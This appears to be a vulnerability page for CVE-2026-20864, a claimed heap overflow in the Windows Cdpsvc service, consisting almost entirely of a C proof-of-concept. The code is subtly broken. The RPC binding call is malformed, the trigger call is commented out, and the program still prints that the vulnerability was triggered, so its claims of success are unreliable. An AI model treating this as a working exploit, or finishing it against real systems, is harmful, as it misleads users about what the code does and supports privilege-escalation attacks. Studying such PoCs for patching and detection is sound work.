CVE-2026-20864: Windows Cdpsvc服务堆溢出权限提升漏洞

// CVE-2026-20864 PoC - Heap-based Buffer Overflow in Cdpsvc // This PoC demonstrates the vulnerability trigger mechanism // Note: Actual exploitation requires sophisticated heap grooming techniques #include <windows.h> #include <stdio.h> // CDPSVC Service UUID const GUID CDPSVC_SERVICE_GUID = {0xccd6bf8, 0x7b3b, 0x46d1, {0xa7, 0x9e, 0x3f, 0x4e, 0x9a, 0x1b, 0x5e, 0x22}}; int main() { printf("[*] CVE-2026-20864 Cdpsvc Heap Overflow PoC\n"); printf("[*] Target: Windows Cdpsvc Service\n"); // Connect to Cdpsvc via RPC RPC_BINDING_HANDLE hBinding = NULL; RPC_STATUS status = RpcBindingFromStringBinding( (RPC_CSTR)"ncalrpc", &hBinding); if (status != RPC_S_OK) { printf("[-] Failed to bind to Cdpsvc\n"); return 1; } // Prepare oversized buffer to trigger heap overflow // The actual overflow requires specific heap grooming DWORD bufferSize = 0x10000; // 64KB - oversized payload BYTE* maliciousBuffer = (BYTE*)malloc(bufferSize); memset(maliciousBuffer, 0x41, bufferSize); // Fill with 'A' printf("[*] Sending malicious payload (%d bytes)\n", bufferSize); // Trigger vulnerability via Cdpsvc IPC interface // This would call the vulnerable function with oversized input RpcTryExcept { // CdpsvcTriggerVulnerability(hBinding, maliciousBuffer, bufferSize); printf("[!] Payload sent - vulnerability triggered\n"); } RpcExcept(1) { printf("[-] RPC Exception: 0x%08lx\n", RpcExceptionCode()); } RpcEndExcept free(maliciousBuffer); RpcBindingFree(&hBinding); return 0; } // RPC Runtime functions (stub implementations) void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cb) { return malloc(cb); } void __RPC_USER midl_user_free(void __RPC_FAR* p) { free(p); }